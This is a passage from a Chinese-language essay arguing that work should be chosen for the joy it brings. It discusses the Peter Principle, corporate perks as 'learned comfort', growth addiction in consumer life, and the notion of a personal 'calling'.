要么就会出现一种消耗大量资金的“必需品”出现在人们的生活中（比如房产）。总之，退休制度本质是一种人的计划报废，对于没有进入报废阶段的人来说，社会（或称社会关系）是不允许其过早进入报废状态的，不然社会就无法正常运转下去。\n其次，从个人层面上讲，支付时间去工作获得金钱这种媒介，再将金钱转化为幸福生活，并非一个单向度的计算过程。在这个方程式中，并不总是我们付出越多的时间，获得越多的金钱，就越能收获幸福。\n还记得我在 3.1 提出的“金钱也是时间”的交换公式吗？\n如果你将自己的时间，以时薪来进行标价，你会发现你永远无法买得起你想要的幸福。因为当你开始从工作（出卖劳动力）中收获更多的收入，这也意味着在你停止工作去享受生活的那段时光里，所有的东西都变得更贵了。\n这就像早年说比尔·盖茨不愿意弯腰捡 100 美元的笑话一样，当你去巴厘岛度假的时候，你不只要支付去巴厘岛度假的机酒，实际上你还失去了作为一个高净值人士在度假这段时间可能赚到更多钱的“机会成本”。\n这就是许多有钱大佬从不休息的真正原因。\n但对于普通人来说，我们恰恰因为如此才不应该那么努力赚钱，因为你即便是将所有的生命都投入到赚钱中，你所赚回的钱可能也买不回失去的幸福。\n再次通过这张幸福积分图我们可以更好地理解，一个人可能会因为在 65 岁退休前的每个时间点都太过拼命工作，而导致 65 岁前的整个幸福量极低（面积），而在 65 岁后剩余的人生也不足以通过挥霍财富带来的高幸福值来弥补他一生的幸福总量。\n更有可能的是，由于过量的劳动，导致整个横轴（寿命）的缩短，从而进一步缩减了一生的幸福总量，这便是那些在工作岗位上猝死的可怜之人所处的状况——他们以为自己可以提前退休，但迎来的实际上是提前死亡。\n如果我们进一步将序言中提到的当代中国人大致的社会时钟放入这张图里，我们会发现另一个问题：对于大多数人来说，幸福与工作和学习极为相关，因为当我们上完所有该上的学和班，一生就基本已经结束了。\n“上了高中就好了”，“上了大学就好了”，“找到工作就好了”，“升职加薪就好了”，这些试图让人挨过人生某些痛苦阶段，而在未来获得幸福的话语具有极大的欺骗性。因为在复杂多变的现代社会，没有任何事情能够保证获得好的效果。实际情况是，在挨过当下痛苦的过程中，个体的有限寿命也在消耗，没有人能保证当下付出的痛苦时光，能在何时以何等幸福量回报回来。\n当然，我们不可忽视的是，即便是在这张图中，“读书改变命运”与“勤劳改变命运”的传统正向价值观在一定的语境下仍然是正确的：如果一个人的人生起点非常低，比如他出生在某个近年来刚刚脱贫，但仍然十分窘困的地方，他仍然需要非常努力地读书，非常勤奋地工作才有可能获得幸福的一生，因为他幸福值的起点比许多其他人要低很多。如果他不这么做，那么他一生的幸福曲线都会在一个低位上平缓地划过。\n但在 21 世纪，这类话语可适用的范围正在缩小。随着温饱问题的大体解决以及廉价快餐娱乐方式（主要归功于互联网）的大规模出现，相当一部分人的快乐是不需要通过大量的金钱来实现的。\n如果一个人就是不喜欢高雅文化，就是喜欢打手机游戏，刷短视频，看网剧，吃麦当劳，那么他努力工作与不努力工作对他生活的幸福度没有什么影响。对于这种人来说，你劝他要多看看书，逛逛艺术展，听听音乐，反而是在用一种反消费主义的方式去异化他的本性。\n在完全理解了这张图之后，你会发现幸福是一个平衡性问题，它并不是一个线性函数，而更像是一个线性函数通过积分所得的面积。\n而在这个平衡性问题中，有两件事是对我们一生的幸福总量十分重要的：一个是工作，另一个是学习（工作准备）。\n这意味着，你至少不应该把钱作为衡量工作的第一位，而是把快乐本身放在衡量工作的第一位。\n在我们过往职场对工作的选择中，排名第一位的要么是钱，要么是钱途，往后排可能是工作的困难程度，距离家的远近，工作环境是否优越等等，兴趣似乎很少出现在中国人择业的首选项里。\n然而，当你想明白你一生最好的时光，必将投入在工作中时，你就会明白：如果想要让整个人生的大部分时段快乐起来，你就不可能去做一份痛苦的工作，来换取剩下的快乐时光。\n有的人说，自己的快乐只来源于躺平。我不否认可能确实存在这样的人，但我认为大部分人还是能从目前这个世界上几十万种岗位中找到那么一两个自己真正喜欢做的事情。\n5.2 在科层制中为地位而工作 工作的第二个谬误是：事业越“成功”越幸福。\n每每我在一家大型公司中观察我的同事，我就愈发认为线性职业路径带来的痛苦，在很大程度上是基于客观规律而非抽象的“资本剥削”——因为我眼睁睁地看着那些最初因喜爱自己的工作而进入公司的同事，最终因制度性问题而变得对自己的工作痛恨有加。\n而这里的制度性问题，与你们理解的惩罚机制相反，恰恰是晋升与奖励机制。\n现代社会的大多数企业仍在遵循科层制（官僚制）的管理，也即员工的上面有组长，组长的上面有总监，总监的上面有经理，经理的上面有总裁，总裁的上面有CEO\\创始人等。\n尽管科层制（官僚制）在中文语境下往往带有贬义色彩，但科层制确实大大提升了企业及其他现代组织的运作效率，由于现代化大生产的一大特点是“分工”，科层制使得分工从扁平变得立体，以实现更大规模的协作。\n在建立分层系统的过程中，一个在前现代社会看起来“不可能完成”的任务，被逐级拆解，每个层级的工作人员负责不同的任务。此外，科层制还让分工的考核与管理变得更为可行，管理者不再需要面面俱到地检查所有人不同形式的工作产出，他仅需考核比自己低一级的管理人员，而低一级的管理人员再根据自己所专攻的方向去考核下面的人。如此一来，每个人只需要“管好和做好”自己手头的那些事情，就能使得组织整体实现任何个人都实现不了的功绩。\n在批判科层制之前，我们必须充分承认科层制在整个现代化中起到的积极作用。科层制是当代生产力下实现现代化和社会运转的必要条件。即便是现在，在大公司和政府等大型组织中取消科层制也只是一个美好的设想，几乎不可能实现。\n但科层制对个体的职业生涯来说有一个问题，就是——大多数处于科层制中的人，最终会搁浅在“不能胜任”的位置上。\n这并不是危言耸听，管理学中有一个概念叫做“彼得原理”，专门用来论述科层制的弊端3。\n概括来讲，如果一个企业中有 ABCDE 五个层级，A 为首席执行官，E 为基层员工。\n在一个人职业生涯的早期，往往以 E 级进入企业。随着他在职场中个人的成长，他将很快晋升到 D 级。在 D 岗位上做了几年，他再次晋升达到了 C 级。\n这时，他可能已经从初入职场的小毛孩，变成了独当一面的企业精英。他的个人成长开始放缓，但由于能力模型刚好与 C 的职级匹配，他开始大放异彩。如果顺利，他将在此时为企业和自身都积累了大量的声誉与财富。\n这种情况不会持续太久，由于不断地做出成就，在晋升制度的安排下，他必定在一段时间后从 C 晋升到 B。然而事实上，我们不得不承认，对一些人来说可能穷极一生也无法在能力上配得上 B 这个职级。\n当我们从下属的视角去看这种“不能胜任”的时候，我们总是认为这似乎对个人是一件好事——他虽然外行指导内行，干不了那么大事，但公司给了那么多钱呀？这不开心吗？\n实际情况是，不开心。\n因为我们之前已经分析过什么是真正的幸福了，财富与权力只是其中一部分影响因素而并非全部。当一个人长期处于“德不配位”的状态时，他的状况必然是糟糕的。\n首先，他会失去来自创造的快乐。由于他实际上没有能力做好 B 这一层级的工作，因此他将不会从工作中获得创造价值的感觉，因而觉得自己“屡战屡败”。为了重拾创造价值的感觉，他有可能会主动寻求去做自己曾经拿手的 C 级工作（下级工作），这就是为什么大型组织中总有“领导”喜欢折腾战术、指导业务甚至“亲自打仗”而忽略自己真正该做的事情。因为他实际上既没有真正地做“领导”的能力，也没能从做“领导”中获得快乐。\n其次，当基层员工成长为中层管理或高级管理时，他将开始内化企业压力为个人压力。\n对于绝大部分基层员工来说，企业的生死与好坏，几乎与个人命运毫无关系。因为跳槽，或因为企业倒闭被迫跳槽，对个人而言无非就是再投几次简历，再面试几次的事情，最不济的情况就是失业一段时间，后面我们也会讲到，失业本身也并非什么可怕的事情。\n但对于手握一定期权、股权，或以其他方式分享了企业超额利润的中高层来说，他实际上会无形中将企业的生存压力，内化为自身的人生压力——“如果公司倒闭了，我就再也找不到这样的工作了”。尤其是对那些利用超额利润作为抵押物使用财务杠杆的人来说更是如此。\n这也很好理解，如果你因为在 30 岁取得了百万年薪而贷款购买了千万级别的房产，那你最好祈祷给你发百万年薪的公司经营良好，连年增长，不要在 40 岁之前让你降薪、裁员、失业。\n第三，长期处于“不能胜任”状态的人，会失去了独特价值，处于深度焦虑之中。\n由于当下激烈的市场竞争，实际上除了企业的创始人之外，很少有人能在一家企业待一辈子。当一个优秀的 C 级员工被晋升为一个差劲的 B 级员工时，绩效考核和末位淘汰会带来极大的精神压力，而这些压力在他作为 C 级优秀员工时是没有的，因为他的能力恰与 C 级匹配，在 C 这一级别，他有十足的个人竞争力，使他确信企业无法找到合适的人替换他。\n以上，所有这些都是科层制给工作带来的问题。我不会说那种让你因此逃离科层制的鬼话，因为如果你做得到的话可能现在就没有在读这篇文章了。但从个人的角度讲，我们仍有机会逃离科层制给我们带来的负面影响，我们将在后面讨论具体的方法。\n5.3 “看起来舒适”的工作\n工作的第三个谬误是：我现在的工作似乎还不错。\n有的时候，我们会陷入一种假想的舒适圈中——我的工作虽然很烂，但同事还不错；我的工作虽然工资不高，但是我擅长的事情；我的工作虽然让我不开心，但我的工资很高等……\n但在我看来，所有让你无法从工作本身获得快乐的工作，都不是好工作。而为了掩盖这种工作本身的不快乐，企业，尤其是大型企业会用各种人力资源福利和企业文化来营造虚假的舒适感。\n什么是工作本身带来的快乐？不妨问问自己这些问题：你在做报表的时候感觉快乐吗？你在送快递的时候感觉快乐吗？你在与甲乙丙丁方开会的时候感觉快乐吗？\n也就是说，当你处于工作的主体过程时，你是否能进入心流状态、获得成就和喜悦。如果可以，那么恭喜你，如果不是……但你又觉得“公司挺舒服不想离开”，那么你可能陷入了习得性舒适里。\n什么是习得性舒适？这其实再简单不过了：免费的班车，免费的早午餐，免费的健身房，免费的下午茶零食，免费的咖啡甚至是免费的高性能工作电脑和额外的带薪休假还有公司附近的房租补贴。\n简单来说，这些东西与你实际做的工作无关，仅仅是因为公司需要把你关在公司加班，才会像动物园一样给出丰容式福利。\n我之所以称这种情况为习得性舒适，是借用了习得性无助的概念。而习得性舒适确实会造成一种习得性无助。\n习得性无助这一心理学现象在上世纪 60 年代末和 70 年代初通过实验进行了确认。其中最出名的是一个关于“虐狗”的实验：\n将狗分为两组，A 组狗被随机施加电击，B 组狗在一定程度上可以通过规则来回避电击。之后，将两组狗放在同一种牢笼，这个牢笼分为两边，中间通过一道低矮的障碍物来隔开，笼子的一边通电，另一边不通电。B 组狗很快发现了电击可以回避，于是跳到了没有通电的另一边，而 A 组狗根本没有尝试躲避电击，停留在了笼子有电击的一边。\n这与我们生活中许多人的经历何等相似，他们几乎在生活中的每时每刻，每个场景向每个遇到的人抱怨自己的工作有多糟糕，但却从来不曾尝试过离开当前工作或行业，甚至没有试图了解离开当下工作生活模式的可能性是什么。\n阻碍人们开启第二曲线，或偏离主线的一个重要的原因正是传统社会建构的人生主线以及大企业的动物园丰容所营造的“舒适圈”。\n我们自以为我们所在的区域就是我们所能达到的最舒适的点，但实际上我们可能如实验中的狗一般，沿着规训出来的惯性停留在了自己最不舒服的地方。\n我们都曾经在网上见到过一个关于互联网大厂的段子：\n某家互联网公司每天 5:30 下班，但 6:30 会有通往全市的班车，8 点时有高级的免费晚餐，9:30 以后可以免费打车回家。尽管公司并没有强制加班，但一套组合拳下来，每天 9:30 下班成为员工们的常态。\n尽管这个段子不一定是真的，但它实际上解释了我们是如何陷入自以为的舒适圈的：因为如果你压根就不喜欢这个工作，你就不应该为了一顿晚餐工作到晚上 8 点，而如果你没有工作到 8 点，就不会因为贪图免费打车而工作到 9 点 30。\n很多人仅仅因为公司的免费咖啡与健身房而不愿意离开公司，而事实上他在加入一家企业之前从没有喝咖啡和健身的习惯，离开以后也没有——动物园丰容式的福利表面上是福利，但实际上是围墙。它通过一些实际上你本不想要的东西，构建了一个你主观上认为的舒适圈，从而让你忽略甚至否定了舒适圈之外可能更为舒适的可能性。\n由于管理主义的盛行，如今的职场充满了这样的舒适圈。一方面，现代企业管理制度的唯一目的是帮助企业更高效和正确地运转，从而获得更多的收入与利润。但另一方面，它又无法否定企业员工作为人类是无法按照机器那样无错运转的。因此，它孕育了极具欺骗性的企业文化和员工关怀两个分支。\n在之前的企业社会责任和现在的 ESG 中，都建议将员工不只视为雇员，而是当作企业的利益相关方之一来进行看待。这看似很有道理，但它忽略了本质问题。如果员工工作的目的始终是不再工作从而离开企业，那么员工关怀将变得毫无意义，还不如把那些用于员工关怀的钱转化成更高的薪资帮助员工尽快离开。\n因而在公司里提供健身房、下午茶、免费的早午晚餐、按摩等，都没有解决员工做的事情本身枯燥无聊这一根本性因素。甚至可以说，这些额外的被称之为“福利”的东西，恰恰营造出了一个虚假的舒适圈，让员工（你）勉强得以忍受，并继续从事一份他本身不感兴趣的工作。\n5.4 影响生活方式的工作思维：目标导向与增长成瘾\n在上面，我们举了三种阻碍我们在工作中获得快乐的谬误。\n然而，工作对我们最大的影响，其实在工作之外——也就是以工作为核心的生活方式，让我们的生活也陷入了不快乐的漩涡之中。\n工作，尤其是在大公司的工作讲究的是让一大群高智商的人像工蜂一样协同起来，为了能让一大群聪明人能够在一起工作，大公司会打造各种各样的企业文化与以工具理性为基础的职场氛围。\n要说工作对生活最严重的戕害，绝对不仅仅是工作时间的占用，而是对于认知的改造，这种对认知的改造是深入骨髓的。\n在现代企业中，大多会有一个用数据作为结果说话的体系，这个体系一般来说会通过我们上文提到的科层制，将整个公司的财报（或非上市公司的关键业务指标），拆解为每个员工每个月度需要完成的 OKR 或 KPI。\n这种思路在工作中没有问题，毕竟在企业内大家都是工蜂，用最高效的思路去协作本身是无可厚非的。企业本身就是一个用计划与威权一定程度代替市场行为降低决策成本的效率机器。\n但是很多人会把这个体系带到生活中，这就是极其有害的，我曾在《呓语》的 3.1 一节“无法用 OKR 规划的幸福人生”中描述了这一思路在形而上造成的问题。在这里，我们讨论一下这实际会对生活造成怎样的伤害，这主要体现在两个方向上：\n对结果的衡量方法过于单一，甚至倾向于对所有问题都用单一指标进行衡量；\n过于重视结果而非过程；\n我们以摄影和旅游来举个例子说明这两个方向是如何异化我的生活的。\n苏珊·桑塔格曾经在《论摄影》里面有过这么一句话：“人们患上了摄影强迫症：把经验本身变成一种观看方式。”\n这句话怎么理解？放到 30 年前，如果我们去旅游，能拍照固然很好，但是不能拍照好像也没有什么问题。在那个时候，我们去旅游而没有拍照，不会有人质疑你是不是根本没去。事实上在那个时候，我们去一次旅行也可能只留下一两张照片。\n但现在就不一样了，对于城市的精致白领们来说，去一趟环球影城如果不能买上一个魔杖，穿上霍格沃兹的校服并且喝上一杯黄油啤酒，那就等于白去了。当然仅做这些事情是不够的，最重要的事情是这些都需要拍照并且发朋友圈。如果去了环球影城没拍照，别等别人质疑了，自己就先开始质疑了：“这次环球影城算是白去了！”\n以至于飞猪上面直接推出了“环球影城跟拍服务”，而这种服务一定是高度标准化套路化的。去环球影城游玩这个本来应该是很个性化很多样化的事情，现在变成了一种可以标准化甚至商品化的过程，这就是“工作思维”对于生活戕害的最真实写照。\n在这种思维模式下，旅游变成了一种以“拍照发社交网络”为核心结果的打卡过程。\n打卡这个词其实是非常贴切的，打卡就是做一天和尚撞一天钟，过去刷一下卡，一瞬间的事情，证明自己来过，这就是典型的应付工作的行为。\n但是，由于工作思维对我们的戕害太深了，所以我们会不自觉地用应付工作的思维来应付生活。至于游玩的过程开不开心，其实很多人是没有那么在乎的，我们迫切地需要有“可衡量”的结果来描述我们做的每一件事情，并且我们希望这些结果是可以被尽可能多的人认可的，比如朋友圈点赞数量。\n不仅仅是旅游，生活中的方方面面都有这个趋势。Keep 就是利用这种心理的典范，Keep 最近推出了一大堆五颜六色又好看的奖牌。在这之前 Keep 又是出运动装备，又是搞健身数据，其实都是在专注在事情本身，所以反响一直很一般。\n奖牌这个动作很快就带动了 Keep 的活跃程度，看看小红书上面 5.8 万赞的笔记吧。这样一块奖牌价格是 39 元，收集奖牌多的人有近 100 块奖牌，这 3900 元砸下去才能在朋友圈发一张让人震撼的照片。\n但是，跑步不是所谓激发内啡肽的“高级快乐”吗？在为了追逐 Keep 奖牌而跑步的过程中，还能达到村上春树那种“不需要和任何人交谈，不必听任何人说话，只需眺望周围的风光，凝视自己便可”的宝贵时刻吗？\n有人说这是社交网络造的孽，社交网络才是罪魁祸首，但其实大家都只是遵循了苏珊·桑塔格的预言罢了。\n没有微信、微博、抖音，也有即刻、小红书、Instagram 来完成这个任务。\n小红书这几年的异军突起恰恰证明了这一点。在朋友圈小范围地晒已经无法满足大家的欲望了，必须在公开场所晒，比谁更精致，比谁更懂生活，实际上生活不需要懂。我们每个人都应该天然地会生活。\n这种现象最糟糕的点在于，外化生活的快乐，会破坏体验过程的机会，破坏生活的快乐本身。这会让地球上数十万种花钱和不花钱的快乐，简化为“购买”和“分享”两个行为，并且不可持续。\n这甚至让快乐变得与消费无关，你可以享受咖啡，享受烘焙，享受 fine dining，享受旅游，享受潜水，它们各自有各自的快乐。但如果你购买或消费这些，只是为了发朋友圈，那么实际上你只获得了一种快乐就是朋友圈的快乐——因此，甚至出现了前两年的“拼下午茶”的现象。\n然而，朋友圈就那么几个人，大家点赞的数量有上限，最后会不可避免地开始追求“买更好的工具晒”“想办法经历更特殊的事迹”这样“讨好式”的行为，因为重复原来的动作已经无法在朋友圈引来点赞了，无法满足自己对于“点赞数”这个生活的 KPI 的追求了，这些动作不能让自己产生多巴胺了，只能升级了。\n这时，目标导向会为我们带来另一个生活中有毒的思维方式：增长成瘾。\n工作可以有结果，但是生活是没有尽头的，用自己给自己定 KPI 的方式生活，最后就会陷入“需要花钱体验更新奇的事情”这样的循环之中。\n我们陷入了一种怪圈，作为劳动者在公司 996 去卷，然后作为消费者下班去花钱购买别人 996 卷出来的商品与服务。而这些商品与服务无论是否能为人们带来快乐，作为消费者的我都不再在意，因为我既无时间也无兴趣体验快乐的过程，而只希望能够有一个快乐的结果。于是在短暂的感官刺激与社交虚荣之后，就又要继续去 996 赚更多钱以再次购买由他人血汗制造出的虚假快乐。\n陷入了这种消费陷阱的精致白领们，其实和喜欢充钱玩“是朋友就砍我一刀”页游的煤老板们没有什么本质区别，只不过前者的陷阱更加隐蔽。\n这种消费陷阱并不一定是由消费主义建构起来的，很多时候反而是被我们的工作思维异化的结果。因为它更像是现代企业对增长的依赖在个体人生上的投影。我将这种状态称之为“增长成瘾”，是一种与酒精成瘾、烟草成瘾非常相似的精神障碍状态。\n对于现代企业来说，不增长就几乎意味着遭遇危机，这也许是正确的。但人生自古以来就并非如此——不管大环境如何改变，除了极少数的幸运儿之外，人的一生几乎不可能永远都在上升。尽管我们反复强调幸福要来源于过程，但这个过程不能依赖于永远的上升。\n因为人的生活是由无数个当下构成的，而当下是由无数个早餐，午餐，晚餐，通勤，睡眠，夕阳，晚风，细雨，欢聚，离别，小酌与释放等细节构成的。\n人生的美好体验来自这些当下的细节本身，而非将它们与其他细节（他人，或未来与过去）相比较。\n患上“增长成瘾”，就像是一个从小爱吃麦当劳的人，因为有钱吃得起 Omakase，就从此再也不去吃麦当劳，而不断寻求更贵的日式料理和昂贵的奇珍美味。可想而知，他永远不可能得到最初吃麦当劳的那种快乐，因为只有在吃麦当劳的时候，他的快乐才是来自味蕾。他吃后面那些东西时的快乐也许是真实的，但来源却与过去的自己比较而带来的优越感——这种快乐就像成瘾品给人带来的快乐，除非剂量越来越大，否则无法维持。\n事实也是如此。许多人都会在工作之后的一段时间里，遇到自己可能是此生最舒适的生活方式，但由于陷入了增长成瘾，而逐渐错过了自己最舒适的那种生活方式。只有极少数人能在财富增长之后，仍能忠于并尊重自己的身体，与自身贫穷时期的爱好相处，比如巴菲特和特朗普。\n如果作为读者的你还不能理解上面这段话的含义，不妨看看《小王子》这本风靡了全世界的书籍是怎么论述这件事情的。\n这些大人们就爱数目字。 当你对大人们讲起你的一个新朋友时， 他们从来不向你提出实质性的问题。他们从来不讲：“他说话声音如何啊？他喜爱什么样的游戏啊？他是否收集蝴蝶标本呀？” 他们却问你：“他多大年纪呀？弟兄几个呀？体重多少呀？他父亲挣多少钱呀？”他们以为这样才算了解朋友。 如果你对大人们说：“我看到一幢用玫瑰色的砖盖成的漂亮的房子，它的窗户上有天竺葵，屋顶上还有鸽子……”他们怎么也想象不出这种房子有多么好。 必须对他们说：“我看见了一幢价值十万法郎的房子。”那么他们就惊叫道：“多么漂亮的房子啊！”\n在上一章节中，我们理解了工作是如何让我们陷入不幸之中的。同时，我们也在更前一章理解了“不工作”其实也是一种会让人陷入不幸的误区，因为对于大多数人来说，如果将“不工作”设定为一个中年或中老年的人生目标，那么就会让自己的前半生陷入工作误区的“为钱工作”中。尽管本文并不是写给那些天生就不用工作的富二代的，但其实正如我们在 3.3 中所描述的那样，对于大多数从不需要任何工作的富二代来说，在现代社会中完全不工作也不是一种快乐的生活方式。这甚至派生出了常见的富二代因想要为自己喜欢的事情创业，从而导致家族返贫的那种现象。这种现象并不在我们的讨论范围之内，但从这个现象引发出的一个值得我们注意的点是：似乎是有那么一种工作状态，是可以让我们在工作的同时获得快乐的（就像富二代为了自己的兴趣而创业那样）。那么，对于普通阶层的人来说，如何找到这样的工作状态，似乎就成了一种获取幸福的必要手段与技巧。在欧洲资本主义萌芽时期，新教教派曾大力推广一个名为“天职”的神学观念，这一概念由宗教改革家马丁·路德发展，指每个人无论从事什么样的世俗职业，无论其社会地位如何，都是受到上帝召唤，有其神圣意义。这一观念与天主教原本教义中对“天职”的解释大相径庭，在原本的解释中，只有神职类工作才是“天职”——受到上帝感召的工作。而马丁·路德通过将“天职”世俗化，为世俗职业注入了宗教的灵性，使得每一种职业都具备了神学上的灵光，在某种意义上，这种重新解释甚至超越了资本主义，达到了共产主义的道德水准——“革命不分先来后到，工作不分高低贵贱”，这是我们至今仍在追求而没能达到的状态。在真正的资本主义务实工作伦理尚未形成之前，“天职”观念鼓励了“懒惰”的农民向“勤奋”的手工业者/工人转变。在资本主义工作伦理诞生之后，追求效率和金钱至上的方向，逐渐取代了“天职论”，同时也否定了“天职论”中潜在的平等精神。在这里，我想重新请出“天职论”，但并不是从宗教角度（灵性）也不是从实用主义角度（金钱），而是从快乐的角度。总的来说，我们如果想要在必然与工作一同度过的一生里获得最大的快乐。那么，你就必须找到一份能为你生产快乐（而不是金钱）的工作。而由于性格、基因、后天培养等诸多因素，这世界上每一种职业都有可能是一部分人的天职。\n6.1 天职是什么？ 尽管每个人的天职不尽相同，但我可以先给出三个基本的筛选标准：\n天职是一个你能从中找到快乐的工作。 天职是一个你能获取一定收入的工作。 天职可能不是一份朝九晚五的工作，但它应当是一份占据一日至少 1/4 时间（6 小时起）的工作。 我们来逐条解释一下为什么是这三点：首先，鉴于我们知道大多数人会在他们年龄的黄金时期投入工作，认为通过工作换取不工作时的幸福生活是不切实际的。因此，我们必须寻找一份本身就能带来快乐的工作。对不同的人而言，这份工作可能意味着截然不同的事物，而不是以钱或工作量这种简单维度来恒量。如果我们将幸福当成一个水池，快乐的工作是在赚钱的同时往水池中注水，而痛苦的工作则是在赚钱的同时从水池中抽水。后者在工作结束后，我们还要用赚来的钱额外购买更多的水注入水池，是得不偿失的。最后，天职应当不是一份从绝对量上来说“特别轻松”的工作，或者说天职应当可以消耗掉你一定的清醒时间。很多人不能理解这个逻辑是什么，这实际上是由于当我们从事天职时，我们是在娱乐而不是工作。而且相比起其他所有的娱乐方式，这种娱乐的价格是负数，你会因为这种娱乐而从社会获得现金报酬，而不是相反。所以，在这种前提下，你的每日工作时长在保障休息与健康的情况下应当越长越好。纯粹的躺平固然快乐，但对于大多数财力不那么雄厚的人来说，纯粹躺平后由于大量空闲时间的出现，我们会更容易被消费主义建构为“有缺陷的消费者”。用人话来说，尽管你可以通过在出租屋里吃粗茶淡饭每天玩免费游戏和刷短视频度日，但却由于看了更多的广告而深感自身的无能，无法像其他优秀的同龄人那样享受商品社会的即时快乐——手冲、Omakase、滑雪、出境旅游等。找到一份快乐的工作，意味着你可以从工作中感受到创造的快乐，这很大程度上能抵御消费不足所带来的“有缺陷的消费者”心态，从而避免落入齐格蒙·鲍曼所定义的“新穷人”定义之中。除此之外，在从事天职的过程中，还可以满足社会对个人的经济要求与道德要求。因为你仍在工作产出价值，这意味着你从经济上和舆论上都不会被贬斥为“社会的寄生虫”。从长期来看，一份满足以上三个条件的天职既能够满足你的精神需求，也能让你有足够的收入来满足其他物质上的需求。从事这样一份幸福的工作，是找到幸福生活的关键任务，甚至是唯一任务。对于大多数既不特别贫困（如需要治疗亲属无医保疾病），也不特别富有的当代年轻人来说，工作本身是否快乐应该是求职第一位，甚至是唯一的条件。**所有传统职业观，包括收入、发展空间、体面程度等，都应为工作本身快乐与否让步。**唯一的问题是，我们想做的与我们擅长做的可能并不一致。在某些情况下，“是否擅长”都应当为“是否快乐”让步，正如一个打台球很烂的人只要能从打台球中感受到快乐，就会继续打台球一样。工作也是如此。\n我曾在抖音里刷到过一个博主的视频，这个视频以图片日记的形式展示了该博主从 19 岁到 27 岁在星巴克工作的一路历程。视频配以非常欢快的音乐和活泼的文字，视频中的每张照片，博主和他在星巴克的同事们也都十分开心。在这条视频下，当时被点赞最高的一条评论是“这么低的工资干这么多年真的是狠人”，第二条是“我以为最后升了一个主管啥的，结果还是店员”，第三则是“怎么会有人做一份工作做七年的啊[哭脸]”。其他的评论也大都如此，但只有一条评论与我想表达的观点类似，他是这么说的：“为什么都在说工资呢？只有我看出他是真的很热爱他的工作吗？我觉得这才是难能可贵的！我觉得我活到了现在这个年纪，有时候真的好迷茫，好无助，不知道自己到底喜欢干什么，从来都没有一样自己喜欢的工作！”之所以举这个例子，是因为我很少在互联网上看到两种就业观念如此直接地对撞在一起。在这个时刻，我们能更清晰地看到前者在认知上的谬误——如果干一份工作本身就非常快乐，那么为什么要为获得更多的钱（用于购买快乐的道具）或换到“更好”的工作而放弃现在的快乐呢？2003 年的时候，一个“北大状元”卖猪肉的新闻在互联网上引发争议。作为一个在 80 年代末北大毕业的大学生来说，陆步轩的职业生涯可谓极为坎坷。在媒体关注到他“落难卖猪肉”之前，他先后在体制内做过几乎无法糊口的闲职，还尝试去经过几次商，但最终以失败告终。走投无路之下，他执意接过了父亲的班，开了一个档口开始卖猪肉。正是这种强烈的反差，让当时的媒体炒翻了天。但从现在的角度来看，如果一个北大毕业生，甚至是硕士生如果能从卖猪肉中找到快乐，那从他个人角度这就是一份“天职”。而整个社会前期在他身上“浪费的”教育资源，不应让其个人负责或买单，那是教育系统本身的问题。在高等教育（算上二本与三本）日渐普及的今日，如何让人们在完成教育之前就找到自己感兴趣的职业，并为之匹配恰当的教育资源，是教育系统需要改进的地方。陆步轩后来的故事，十分传奇。首先是他的猪肉档口越来越好，在当地变得小有名气。但因为一次意外陷入了舆论的纷争后，他重新进入体制当上了公务员，还参与了两部年鉴和一部地方志的编纂。到了 2008 年，在另一位同学的鼓动下，他开了一家“屠夫学校”专门教人养猪、杀猪、卖猪。到了 2016 年，他彻底离开了曾经求而不得的体制内工作，作为合伙人加入了同学创立的“壹号土猪”。对于陆步轩来说，究竟是体制内的文史工作是“天职”还是养猪产业是天职，如今看来已经不言而喻了。知识确实改变了陆步轩的命运，却不是以他最初以为的那个路径。然而，如果陆步轩没有在猪肉行业做出一家上市公司，他从卖猪肉中获得的满足感就是虚假的吗？当然不是。**因为从事天职，并不意味着你要在天职上特别擅长，或获得巨大的成就。**曾经有一个喜欢弹钢琴的朋友问我，自己已经 30 岁了，如果转行去弹钢琴，是不是太晚了？虽然他喜欢弹钢琴，但他的天赋也不好，在这个领域发挥不了优势怎么办？这便是以某种“静态图景”为终极目标去选择天职的不合理之处。他之所以想要离开现有的职业路径去弹钢琴，是因为他认为弹钢琴能给自己带来快乐。这很好，他知道自己想要什么，并且认识到现在的线性职业路径无法满足他想要的。但是，他在追求弹钢琴这件事情的时候，却习惯性地将线性职业规划套了上去，因而平白带来了烦恼。他喜爱的是弹钢琴，并不是穿着燕尾服登台表演，更不是在众多聚光灯和镁光灯下参加国际比赛和接受媒体采访。换句话说，“快乐地弹钢琴”这份工作和以“著名钢琴家”为终点的职业路径可以不必重合。事实上如果他真的成为钢琴家，有可能他会发现自己其实根本不习惯在那么多听众的面前弹钢琴，因为这会失去在蓝调酒吧或独自弹钢琴时那种闲适与自由的感觉。因此，以钢琴家为终局的这条线性职业路径从最一开始就背离了他转行去弹钢琴的初衷，他的初衷是能快乐地弹钢琴。如果能为此获得一些报酬，那就相当于是在玩一个本身会不断给你钱的游戏，即便在这个游戏里刷不上“天梯榜的第一名”，那又和他有什么关系呢？\n6.2 天职不是什么？ 在理解了什么是天职之后，你可能会开始重新审视自己的工作，甚至开始打开招聘网站准备跳槽。但我打赌，你只要在招聘网站里逛上不超过 30 分钟，你就会忘记天职的定义，开始重新落入传统就业观的陷阱。因此，我们还要着重强调一下，**什么不是你的天职。**最典型的不是天职的工作，就是我们世俗意义上追求的理想工作——钱多，事少，离家近。“钱多事少离家近”或许是传统求职观念中的“终极 ”，也就是如果你以传统的求职观念来看，除非你想成为下一个马云或是乔布斯，否则“钱多事少离家近”已经是最优选。但是，“钱多事少离家近”仍不能被称之为天职，因为天职与好工作的区别是我们是否能从工作本身中获得快乐，而不是衡量一个工作是否耽误我们去追求别的快乐。从事一份钱多，事少，离家近的工作，意味着我们有更多的金钱和闲暇时光，来处理工作以外的事情。在大多数情况下，我们会认为因此我们能有更多机会去追求别的快乐，但这同样意味着，你的快乐源泉来自“逃离工作”而非“投入工作”。在中国的工作环境下，即便是“事少”，也基本意味着你要在每周 5 天，每天至少 8 小时在一个没什么乐趣的房子里坐着，然后被迫找一些被动性娱乐（如刷微博）来消耗自己的出勤时间。这个过程可能是“不痛苦”，但长此以往也很难说是“快乐”。你仍然需要在工作以外的时间来寻找快乐，陷入“工作是为了不工作”的谬误。\n6.3 面向过程工作，而不是面向对象工作 